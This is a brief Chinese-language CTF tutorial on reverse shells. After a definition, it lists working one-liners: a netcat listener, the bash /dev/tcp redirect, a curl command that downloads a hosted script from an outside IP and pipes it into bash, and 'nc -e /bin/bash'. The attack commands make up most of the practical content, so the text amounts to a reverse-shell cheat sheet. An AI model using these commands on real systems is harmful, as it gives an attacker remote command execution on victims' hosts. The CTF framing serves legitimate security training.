反彈shell
反彈shell(reverse shell),就是控制端監(jiān)聽在某TCP/UDP端口,被控端發(fā)起請求到該端口,并將其命令行的輸入輸出轉(zhuǎn)到控制端。reverse shell與telnet,ssh等標(biāo)準(zhǔn)shell對應(yīng),本質(zhì)上是網(wǎng)絡(luò)概念的客戶端與服務(wù)端的角色反轉(zhuǎn)。攻擊者指定服務(wù)端,受害者主機(jī)主動連接攻擊者的服務(wù)端程序,就叫反彈連接。
在CTF中就是題目端是被控制端,自己服務(wù)器是控制端,題目段生成一個(gè)反向shell,然后服務(wù)器端去連接,將題目端的輸入輸出轉(zhuǎn)到了自己的服務(wù)器上,獲得bash,實(shí)現(xiàn)反向連接。
方法一:使用linux命令反彈shell
使用場景:命令執(zhí)行,但是沒有回顯的情況。
服務(wù)器端:
nc -lvp 6767題目端:
bash -i >& /dev/tcp/服務(wù)器端ip/port 0>&1

image-20211008200456364.png
方法二:curl命令反彈shell
- 服務(wù)器端:首先在/var/www/html目錄下創(chuàng)建一個(gè)文本文件shell.txt 寫入bash一句話:
bash -i >& /dev/tcp/192.168.20.151/7777 0>&1;之后開始監(jiān)聽:nc -lvp port - 題目端:
curl http://174.1.73.154/shell.txt|bash

1491122-20190402162501019-1906622321.png
方法三:nc命令反彈shell
服務(wù)器端:
nc -lvp port題目端:
nc -e /bin/bash x.x.x.x port
方法四:腳本反彈
python
php
java
ruby
參考資料
https://zhuanlan.zhihu.com/p/138393396
https://www.cnblogs.com/-zhong/p/11398877.html
https://www.cnblogs.com/p0pl4r/p/10643541.html